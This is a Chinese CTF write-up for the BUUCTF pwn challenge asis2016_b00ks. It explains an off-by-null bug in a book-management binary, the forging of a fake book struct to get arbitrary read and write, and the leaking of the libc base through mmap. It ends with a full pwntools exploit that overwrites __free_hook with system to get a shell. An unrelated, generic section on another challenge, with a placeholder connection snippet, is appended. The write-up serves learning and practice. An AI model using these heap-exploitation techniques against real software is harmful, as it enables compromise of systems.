[PWN] BUUCTF asis2016_b00ks Offbynull利用

本文描述了一个程序中offbyone漏洞的发现和利用过程,涉及输入缓冲区溢出导致地址泄露,通过修改book_ptr和desc来实现任意地址读写,进而获取libc基址并执行系统调用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

典型的offbyone利用

本地通过patchelf将环境修改为Ubuntu16 libc-2.23
checksec:
在这里插入图片描述
IDA:
菜单题:
在这里插入图片描述

漏洞函数:

在读取输入到缓冲区时,边界检查有问题,最后结束符"\x00"会被读取到size+1的位置
在这里插入图片描述

利用思路

首先会将author name 读取到 unk_202040 处,长度最大0x20个字节到 unk_202060,但是由于offbynull,会导致 unk_202061 被溢出覆盖为 “\x00” 即0。
在这里插入图片描述在这里插入图片描述
而create创建books时会将指向book的指针存放在unk_202060开始的连续地址处,
因此unk_202060会存放第一本书的ptr,offbynull 漏洞 会修改book_ptr的最低字节为00
在这里插入图片描述在这里插入图片描述
创建第一本书后,author name 的结束符会被 第一本书的ptr覆盖,此时 打印 author name 就会连带打印出第一本书的ptr,达到泄露地址的目的。
因为堆的初始化是按页对齐的,而该程序book的生成规律是:name——>desc——>book
程序每创建一个 book 会分配 0x20 字节的结构来维护它的信息

struct book {
int id;
char *name;
char *description;
int size; }

因此offbynull 漏洞修改book_ptr的最低字节为00 => book_ptr0,相当于减小地址,可以达到接近desc地址的目的
这样一来,如果修改desc的内容可以顺序修改book_ptr0的内容,

可以在book_ptr0处伪造一个book stuct,
1.填充自己想要输出的内容,在调用print打印book_ptr0即可打印想要的内容,可以实现任意地址读
2.填充desc为自己想要修改的地址,搭配edit修改book_ptr0的desc可以实现任意地址写,

基于以上思路可以实现获取libc基址后,覆盖__free_hook或者__malloc_hook为system或one gadget

方法一:mmap

堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。
mmap开辟出的块与libc基址的偏移是固定的,因此只要拿到mmap开辟出的chunk的地址,就能通过一个“固定的偏移”得到libc。
申请book2的name和desc都超大,即可mmap分配内存。

调试过程

author name,此时还未创建book,结束符"\x00"在2060字节处
在这里插入图片描述
创建book后,2060处被覆盖,此时print authorname时可以打印处book1的地址
在这里插入图片描述
此时desc距离book1的ptr被覆盖后的地址0x000055d0d7c3b100相差0xb0

在0x000055d0d7c3b100伪造book struct 后,该book结构为
序号:0x1
name_ptr:存储book2的name的指针
desc_ptr:存储book2的desc的指针
size:0x7fff
在这里插入图片描述
此时修改author name 后可以将book1的地址修改为0x000055d0d7c3b100,即伪造的book ,调用 print 时可以打印处book2的name和desc的地址
在这里插入图片描述

在这里插入图片描述
用此可以计算libc的基址,从而得到 free_hook system onegadget 等地址
在这里插入图片描述
接下来edit修改book1:0x000055d0d7c3b100的desc,即可将其指向free_hook,等价于将book2的desc指针修改为free_hook
在这里插入图片描述
在这里插入图片描述
最后edit修改book2的desc,即可将free_hook指向system
在这里插入图片描述
delete()即可调用free函数,free book2时相当于指向system(“/bin/sh”),获取shell
在这里插入图片描述

EXP

from pwn import *
from LibcSearcher import *
from time import *
context.log_level = 'debug'
# file_path = "./chall/1"
# local = 1
# remote_path = "node4.buuoj.cn:29718"
# elf = ELF("./chall/1")
# libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
# if local != 1:
#     p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
# else:
#     p = process(file_path)

sd      = lambda payload        : p.send(payload)
sdl     = lambda payload        : p.sendline(payload)
sda     = lambda data,payload   : p.sendafter(data,payload)
sdla    = lambda data,payload   : p.sendlineafter(data,payload)
it      = lambda                : p.interactive()
rc      = lambda num            : p.recv(num)
rc_all  = lambda                : p.recv()
rcu     = lambda data           : p.recvuntil(data)
lbc     = lambda str1,str2      : LibcSearcher(str1,str2)
lg      = lambda name,data      : p.success("\033[1;31m%s\033[0m --> 0x%x" % (name,data))
get_addr_64 = lambda: u64(rcu(b"\x7f")[-6:].ljust(8,b"\x00"))

def db():
    gdb.attach(p)
    pause()
def dbs(src):
    gdb.attach(p, src)

def tb(x): #将输入内容转换为python3的比特流格式
    return(bytes(str(x),encoding='utf8'))
# asis2016_b00ks
p = process("./b00ks")
# remote_path = "node4.buuoj.cn:28229"
# p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
elf = ELF("./b00ks")
libc = ELF("./libc-2.23.so")
def create(book_size,name,desc_size,desc):
    rcu("> ")
    sdl(b"1")
    rcu(": ")
    sdl(tb(book_size))
    rcu(": ")
    sdl(name)
    rcu(": ")
    sdl(tb(desc_size))
    rcu(": ")
    sdl(desc)
def delete(id):
    rcu("> ")
    sdl(b"2")
    rcu(": ")
    sdl(tb(id))
def edit(id,desc):
    rcu("> ")
    sdl(b"3")    
    rcu(": ")
    sdl(tb(id))
    rcu(": ")
    sdl(desc)
def print1():
    rcu("> ")
    sdl(b"4")
def change(name):
    rcu("> ")
    sdl(b"5")     
    rcu(": ")
    sdl(tb(name))

rcu("Enter author name: ")
sdl(b"l"*32)
create(32,"a"*32,0x100,"a")#1
create(0x21000,"/bin/sh",0x21000,"/bin/sh")#2
# db()
print1()
rcu("l"*32)
book1_addr = u64(rc(6).ljust(8,b"\x00"))
lg("book1_addr",book1_addr)
book2_name_addr_ptr = book1_addr+0x38
book2_desc_addr_ptr = book1_addr+0x40
payload = b"a"*0xb0 + p64(1) + p64(book2_name_addr_ptr) + p64(book2_desc_addr_ptr) + p64(0x7fff)
edit(1,payload)
# db()
change("l"*32)
print1()
rcu("Name: ")
book2_name_addr = u64(rc(6).ljust(8,b"\x00"))
rcu("Description: ")
book2_desc_addr = u64(rc(6).ljust(8,b"\x00"))
lg("book2_name_addr",book2_name_addr)
lg("book2_desc_addr",book2_desc_addr)
# db()
libc_base = book2_name_addr - 0x5c7010
onegadget = libc_base + 0x45206
bin_sh = next(libc.search(b"/bin/sh")) + libc_base
system_addr = libc.symbols["system"] + libc_base
free_hook = libc_base + libc.symbols["__free_hook"]
lg("onegadget",onegadget)
lg("free_hook",free_hook)
lg("bin_sh",bin_sh)
lg("system_addr",system_addr)
edit(1,p64(free_hook))
# db()
edit(2,p64(system_addr))
# db()
# sleep(5)
delete(2)
it()

第二种 (待完善)

### BUUCTF Pwn Others_shellcode 解题思路 #### 题目概述 此题目属于PWN类别中的shellcode编写挑战。目标是在给定环境中执行任意代码,通常通过构造特定的机器码来实现这一目的[^1]。 #### 环境准备 为了成功完成该挑战,需了解所使用的`libc`版本特性以及其对应的函数偏移地址等信息。这有助于定位并利用可能存在的漏洞点。此外,还需掌握基本的反汇编技能以便理解二进制文件的工作原理。 #### 漏洞分析 通过对程序逻辑的研究发现存在一处可以被攻击者控制的数据输入路径。当用户提交恶意构造的数据时,能够覆盖返回地址从而改变正常流程指向自定义指令序列的位置。这种技术被称为“Return-Oriented Programming (ROP)” 或直接注入 shellcode 执行。 #### Shellcode 构建 考虑到现代操作系统防护机制如NX bit 和 ASLR 的存在,在构建有效载荷时需要特别注意避开非法字符以免破坏栈结构完整性。同时也要考虑如何绕过这些安全措施以确保 payload 成功运行。一种常见做法是从内存中寻找可写区域作为跳转目标,并在那里放置精心设计过的 machine code 来打开 shell 或连接远程服务器发送 flag。 ```python from pwn import * context.arch = 'amd64' context.os = 'linux' # 连接至服务端口 conn = remote('challenge_address', port_number) # 发送payload前先读取一些数据防止阻塞 conn.recvuntil(b'Input your choice:') ``` #### Exploit 实现 最终解决方案涉及多个部分协同工作:首先是找到合适的 gadget 组合用于泄露 libc 基址;其次是计算出 system() 函数的确切位置;最后则是巧妙安排参数传递方式使得 execve("/bin/sh", ...) 能够被执行。整个过程要求精确控制每一步操作以达到预期效果而不触发任何异常终止条件。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值